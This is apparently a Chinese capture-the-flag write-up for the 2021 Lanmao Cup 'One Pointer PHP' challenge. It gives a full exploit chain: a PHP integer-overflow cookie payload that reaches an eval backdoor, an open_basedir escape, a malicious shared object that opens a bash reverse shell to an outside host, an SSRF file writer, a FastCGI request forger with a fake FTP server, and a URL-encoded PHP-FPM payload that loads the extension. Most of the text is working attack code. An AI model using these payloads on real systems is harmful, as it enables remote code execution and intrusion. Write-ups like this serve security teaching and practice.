[蓝帽杯 2021]One Pointer PHP
知识点：php 数组整型溢出，open_basedir 绕过
分析
利用数组整型溢出绕过，因为PHP 会对溢出的数字处理为 float 类型。
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){$count[++$user->count]=1;if($count[]=1){$user->count+=1;setcookie("data",serialize($user));}else{eval($_GET["backdoor"]);}
}else{$user=new User;$user->count=1;setcookie("data",serialize($user));
}
?>
可以通过 echo PHP_INT_MAX; 来获取最大值，这边我本地测试值为 9223372036854775807
$count[]=1 是在最大索引之后操作。
poc：
<?php
class User{public $count;
}$user = new User();
$user->count = 9223372036854775806;
echo serialize($user);
cookie
data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
绕过 open_basedir
利用 ini_set 绕过
读取目录：
add_api.php?backdoor=mkdir('tmpdir');chdir('tmpdir');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a=print_r(glob('*'));
读取 flag 受限
读不了，查看一下权限
add_api.php?backdoor=mkdir('tmpdir');chdir('tmpdir');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo Fileperms("/flag");
用脚本处理一下权限
<?php
$perms = '33216';switch ($perms & 0xF000) {case 0xC000: // 套接字$info = 's';break;case 0xA000: // 符号链接$info = 'l';break;case 0x8000: // regular$info = 'r';break;case 0x6000: // 块设备$info = 'b';break;case 0x4000: // 目录$info = 'd';break;case 0x2000: // 字符设备$info = 'c';break;case 0x1000: // FIFO 管道$info = 'p';break;default: // 位置$info = 'u';
}// 所有者
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));// 组
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));// 其它
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));echo $info;
?>
flag 权限为：
rrwx------
读下 php.ini
/add_api.php?backdoor=mkdir('bypass');chdir('bypass');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/usr/local/etc/php/php.ini"));
加载了个 so 文件，说是能 pwn ，咱也不知道怎么 pwn。
蚁剑连一下
读下 nginx 的默认配置。
/etc/nginx/sites-available/default
开着FastCGI服务，端口也知道了，但是 fastcgi_pass 显示只接受本地的包，试下 FPM 未授权 RCE。
加载恶意so文件
这个文件相信大家都很熟悉吧，这个就是经常看到的 LD_PRELOAD 劫持，它的功能是什么呢？
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void preload (void){system("bash -c 'bash -i >& /dev/tcp/vps/2333 0>&1'");
}
attribute((constructor)) 似乎是 c 中的扩展修饰符，它可以让被修饰的函数在 main() 之前执行，如果它出现在动态链接库中，那么一旦动态链接库被系统加载，将立即执行 _attribute((constructor)) 修饰的函数。这样，我们就不用局限于仅劫持某一函数，而应考虑劫持动态链接库了，也可以说是劫持了一个新进程。
那它有什么作用呢？先让我把其余步骤说一下，结合其余步骤，就可以清楚的知道它的作用了。
（注意：so 文件名要和下面产生恶意 fastcgi 请求里的 so 文件名要一样。）
执行下列命令，上传 so 文件到 html 目录下。
gcc payload.c -fPIC -shared -o payload.so
构造 ssrf
因为 fpm 需要本地访问，那就需要上传一个产生 ssrf 的文件，file.php
<?php$file = $_GET['file'] ?? '/tmp/file';$data = $_GET['data'] ?? ':)';echo($file."</br>".$data."</br>");var_dump(file_put_contents($file, $data));
?>
这样我们就可以把我们服务器上的恶意 fastcgi 请求通过 ftp 伪协议传输到靶机上，然后靶机就会重定向到本地的 9001 端口的 fpm 上，然后会把我们的 so 文件载入扩展，触发我们的恶意 so 文件，把 shell 反弹到我们的 vps 上。
构造 fastcgi 请求
把里面的 ip 和 so 文件名改为自己的既可。
<?php
/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*/
/*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/
class FCGIClient
{const VERSION_1 = 1;const BEGIN_REQUEST = 1;const ABORT_REQUEST = 2;const END_REQUEST = 3;const PARAMS = 4;const STDIN = 5;const STDOUT = 6;const STDERR = 7;const DATA = 8;const GET_VALUES = 9;const GET_VALUES_RESULT = 10;const UNKNOWN_TYPE = 11;const MAXTYPE = self::UNKNOWN_TYPE;const RESPONDER = 1;const AUTHORIZER = 2;const FILTER = 3;const REQUEST_COMPLETE = 0;const CANT_MPX_CONN = 1;const OVERLOADED = 2;const UNKNOWN_ROLE = 3;const MAX_CONNS = 'MAX_CONNS';const MAX_REQS = 'MAX_REQS';const MPXS_CONNS = 'MPXS_CONNS';const HEADER_LEN = 8;/*** Socket* @var Resource*/private $_sock = null;/*** Host* @var String*/private $_host = null;/*** Port* @var Integer*/private $_port = null;/*** Keep Alive* @var Boolean*/private $_keepAlive = false;/*** Constructor** @param String $host Host of the FastCGI application* @param Integer $port Port of the FastCGI application*/public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @param Boolean $b true if the connection should stay alive, false otherwise*/public function setKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive && $this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @return Boolean true if the connection should stay alive, false otherwise*/public function getKeepAlive(){return $this->_keepAlive;}/*** Create a connection to the FastCGI application*/private function connect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);if (!$this->_sock) {throw new Exception('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @param Integer $type Type of the packet* @param String $content Content of the packet* @param Integer $requestId RequestId*/private function buildPacket($type, $content, $requestId = 1){$clen = strlen($content);return chr(self::VERSION_1) /* version */. chr($type) /* type */. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */. chr($requestId & 0xFF) /* requestIdB0 */. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */. chr($clen & 0xFF) /* contentLengthB0 */. chr(0) /* paddingLength */. chr(0) /* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @param String $name Name* @param String $value Value* @return String FastCGI Name value pair*/private function buildNvpair($name, $value){$nlen = strlen($name);$vlen = strlen($value);if ($nlen < 128) {/* nameLengthB0 */$nvpair = chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);}if ($vlen < 128) {/* valueLengthB0 */$nvpair .= chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @param String $data Data containing the set of FastCGI NVPair* @return array of NVPair*/private function readNvpair($data, $length = null){$array = array();if ($length === null) {$length = strlen($data);}$p = 0;while ($p != $length) {$nlen = ord($data{$p++});if ($nlen >= 128) {$nlen = ($nlen & 0x7F << 24);$nlen |= (ord($data{$p++}) << 16);$nlen |= (ord($data{$p++}) << 8);$nlen |= (ord($data{$p++}));}$vlen = ord($data{$p++});if ($vlen >= 128) {$vlen = ($nlen & 0x7F << 24);$vlen |= (ord($data{$p++}) << 16);$vlen |= (ord($data{$p++}) << 8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @param String $data String containing all the packet* @return array*/private function decodePacketHeader($data){$ret = array();$ret['version'] = ord($data{0});$ret['type'] = ord($data{1});$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});$ret['paddingLength'] = ord($data{6});$ret['reserved'] = ord($data{7});return $ret;}/*** Read a FastCGI Packet** @return array*/private function readPacket(){if ($packet = fread($this->_sock, self::HEADER_LEN)) {$resp = $this->decodePacketHeader($packet);$resp['content'] = '';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -= strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {return false;}}/*** Get Informations on the FastCGI application** @param array $requestedInfo information to retrieve* @return array*/public function getValues(array $requestedInfo){$this->connect();$request = '';foreach ($requestedInfo as $info) {$request .= $this->buildNvpair($info, '');}fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));$resp = $this->readPacket();if ($resp['type'] == self::GET_VALUES_RESULT) {return $this->readNvpair($resp['content'], $resp['length']);} else {throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @param array $params Array of parameters* @param String $stdin Content* @return String*/public function request(array $params, $stdin){$response = '';
// $this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));$paramsRequest = '';foreach ($params as $key => $value) {$paramsRequest .= $this->buildNvpair($key, $value);}if ($paramsRequest) {$request .= $this->buildPacket(self::PARAMS, $paramsRequest);}$request .= $this->buildPacket(self::PARAMS, '');if ($stdin) {$request .= $this->buildPacket(self::STDIN, $stdin);}$request .= $this->buildPacket(self::STDIN, '');echo('?file=ftp://vps:9999/&data='.urlencode($request)); //vps
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}$filepath = "/var/www/html/add_api.php"; //文件路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = exp.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array('GATEWAY_INTERFACE' => 'FastCGI/1.0','REQUEST_METHOD' => 'POST','SCRIPT_FILENAME' => $filepath,'SCRIPT_NAME' => $req,'QUERY_STRING' => 'command=whoami','REQUEST_URI' => $uri,'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/','PHP_VALUE' => $php_value,'SERVER_SOFTWARE' => 'ctfking/Tajang','REMOTE_ADDR' => '127.0.0.1','REMOTE_PORT' => '9001', // 找准服务端口'SERVER_ADDR' => '127.0.0.1','SERVER_PORT' => '80','SERVER_NAME' => 'localhost','SERVER_PROTOCOL' => 'HTTP/1.1','CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>构造FTP服务器
因为要用 ssrf ftp 远程加载 fastcgi 请求，肯定要能够访问。
（注意：服务器的端口要开放，不然无法访问，可以在防火墙那边设置。）
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))#这里是ftp的端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
反弹 shell
运行 vps 上的 ftp 服务器，并且监听 so 文件上的端口，我这边是 2333 端口。
再访问 file.php 。
file.php?file=ftp://vps:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02E%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B8PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+exp.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0ESERVER_SOFTWAREctfking%2FTajang%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
反弹成功。
但是权限不够，需要提权，直接 suid，利用 php 交互读取 flag。php -a
在这里插入图片描述
提权获取 flag
利用 … 绕过 php 的目录限制读取 flag 。
mkdir('qf');chdir('qf');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
参考
https://blog.csdn.net/qq_64201116/article/details/126634921?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-3-126634921-blog-127802156.pc_relevant_3mothn_strategy_and_data_recovery&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-3-126634921-blog-127802156.pc_relevant_3mothn_strategy_and_data_recovery&utm_relevant_index=4